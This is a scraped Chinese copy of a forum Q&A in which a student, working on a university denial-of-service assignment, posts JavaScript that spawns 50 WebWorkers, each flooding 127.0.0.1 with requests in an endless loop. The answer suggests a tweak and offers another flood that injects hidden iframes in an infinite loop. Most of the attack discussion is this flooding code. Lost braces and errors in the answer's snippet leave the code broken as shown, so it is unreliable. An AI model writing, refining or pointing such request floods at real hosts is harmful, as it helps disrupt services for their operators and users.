使用 WebWorkers 的 JavaScript DoS 攻击

Posted

技术标签:

【中文标题】使用 WebWorkers 的 JavaScript DoS 攻击【英文标题】:JavaScript DoS attack using WebWorkers 【发布时间】:2017-08-26 13:14:36 【问题描述】:

在大学里,我们做了一项“家庭作业”来尝试执行拒绝服务攻击。我决定采取与其他人不同的方式。我尝试使用 javascript 执行它。

问题是:

这甚至可能吗? 如果我在环回上执行 HttpRequest,我会看到由于 http 端口溢出导致任何网站无法访问的结果吗? 有没有比我更好的代码来做到这一点?

index.html:

<script>
    for(var i = 0; i< 50; i++) 
        worker = new Worker("worker.js");
        worker.postMessage('Hello World');
    
</script>

worker.js:

self.addEventListener('message', function(e) 
    while(1) 
            var xmlHttp = new XMLHttpRequest();
            xmlHttp.onreadystatechange = function()  
            if (xmlHttp.readyState == 4 && xmlHttp.status == 200)
                    callback(xmlHttp.responseText);
            
            xmlHttp.open("GET", "http://127.0.0.1", true);
            xmlHttp.send(null);
    
, false);

感谢您的任何意见!

【问题讨论】:

我不确定,但这比远程服务器更可能导致您自己的计算机崩溃(如果您选择 localhost 以外的服务器)while(1) 当您运行显示的代码时发生了什么? while(1) 的浏览器很酷吗? @nnnnnn 浏览器似乎很好,因为网络工作者在幕后完成了所有工作。在开发人员工具中,您可以清楚地看到正在发送请求,但是我可以毫无问题地访问任何我想要的网站。 这属于 codereview.stackexchange.com 或 security.stackexchange.com。 【参考方案1】:

首先,如果我可以改进这段代码,我会使用 setInterval 而不是 while(1)。其次,我在这里找到了一个更简单的版本:

function _DDoS(url)
    document.body.innerhtml+='<iframe src="'+url+'" style="display:none;">   </iframe>';

for(;;)
 setTimeout(_DDoS("http://localhost"),10);

只要搜索 javascript ddos​​ 就会发现很多例子

【讨论】:

以上是关于使用 WebWorkers 的 JavaScript DoS 攻击的主要内容,如果未能解决你的问题,请参考以下文章

在Firefox中分析Webworkers

106 THREE.JS 实现配合使用web Workers

Phonegap 和 WebWorkers

H5多线程开发:WebWorkers

Phonegap和WebWorkers

如何在 webworkers 中访问 websockets?